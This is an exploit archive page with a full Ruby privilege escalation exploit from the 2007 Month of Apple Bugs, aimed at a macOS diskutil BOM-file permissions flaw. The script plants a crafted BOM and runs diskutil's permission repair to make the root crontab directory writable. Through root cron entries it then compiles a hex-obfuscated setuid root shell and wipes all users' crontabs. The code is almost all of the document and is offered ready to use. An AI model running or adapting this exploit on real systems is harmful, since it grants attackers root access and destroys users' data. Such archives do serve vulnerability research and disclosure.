what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MOAB-05-01-2007_cron.rb.txt

MOAB-05-01-2007_cron.rb.txt
Posted Jan 13, 2007
Authored by Kevin Finisterre, LMH | Site projects.info-pull.com

Month of Apple Bugs - Exploit for a vulnerability in the handling of BOM files by the DiskManagement/diskutil that allows the setting of rogue permissions on the filesystem. This can be used to execute arbitrary code and escalate privileges. One of two exploits.

tags | exploit, arbitrary
systems | apple
SHA-256 | d23d1ffe7410fc22b798de3144cff78a0f519bb100421ea6abce589bef246321

MOAB-05-01-2007_cron.rb.txt

Change Mirror Download
#!/usr/bin/ruby
# (c) 2006 LMH <lmh [at] info-pull.com> (code from the other exploit, porting)
# Kevin Finisterre <kf_lists [at] digitalmunition.com> (crontab rock and roll)
#
# Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one.
# And works like a charm.

require 'fileutils'

EVIL_COMMANDS = [
"rm /Library/Receipts/Essentials.pkg/Contents/Archive.bom ",
"echo -e \"\\x6d\\x61\\x69\\x6e\\x28\\x29\\x7b\\x20\\x73\\x65\\x74\\x65\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x65\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x75\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x65\\x74\\x67\\x69\\x64\\x28\\x30\\x29\\x3b\\x20\\x73\\x79\\x73\\x74\\x65\\x6d\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x22\\x29\\x3b\\x20\\x7d\\x0a\" > /tmp/finisterre.c",
"/usr/bin/cc -o /Users/Shared/shX /tmp/finisterre.c; rm /tmp/finisterre.c",
"/bin/cp -r /var/cron/tabs /Users/Shared", # I have no legit crontabs so I don't care.
"/usr/bin/say Flavor Flave a k a `whoami` && sleep 5 && /usr/bin/say sleeping briefly && sleep 5 && chmod +s /Users/Shared/shX && sleep 5",
"echo '' > /tmp/pwnclean",
"for each in `ls /var/cron/tabs/`; do crontab -u $each /tmp/pwnclean; done", # Sorry if you had any legit crontabs...
"crontab /tmp/pwnclean", # Just to make sure
"rm -rf /tmp/pwn*",
]
TARGET_BOM_PATH = "/Library/Receipts/Essentials.pkg/Contents/Archive.bom"
SHELL_TEMPLATE = "mkdir -p /tmp/pwndertino/var/cron/tabs\n" +
"cd /tmp/pwndertino\n" +
"chmod 777 var/cron/tabs\n" +
"mkbom . /tmp/pwned.bom\n" +
"cp /tmp/pwned.bom #{TARGET_BOM_PATH}\n" +
"/usr/sbin/diskutil repairPermissions /\n"

if ARGV[0] != "repair"
# Backup if its there! Some times it is not.
if File.exists?(TARGET_BOM_PATH)
FileUtils.cp(TARGET_BOM_PATH, File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
end

puts "++ Dropping the 31337 .sh skillz"
shell_script = File.new("moab5.sh", "w")
shell_script.print(SHELL_TEMPLATE)

puts "++ Fixing up crontabs"

EVIL_COMMANDS.each do |cmd|
shell_script.print("echo '* * * * * #{cmd}' >> /var/cron/tabs/root\n")
end


shell_script.print("echo '* * * * * /bin/rm -rf /tmp/pwned.bom /tmp/pwndertino' >> /tmp/pwncron\n")
shell_script.print("crontab /tmp/pwncron\n") # You may need to sleep here

shell_script.close
puts "++ Execute moab5.sh"
FileUtils.chmod 0755, "./moab5.sh"
exec "/bin/sh", "-c", "./moab5.sh"
puts "++ Run the repair script when you are all done."
else

# minor repair for a post-testing scenario
if File.exists?(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
FileUtils.cp(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)), TARGET_BOM_PATH) # restore backup
FileUtils.rm_f(File.join("/Users/Shared", File.basename(TARGET_BOM_PATH)))
exec "/usr/sbin/diskutil repairPermissions /"

else
exec "/usr/sbin/diskutil repairPermissions /"
end

end


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close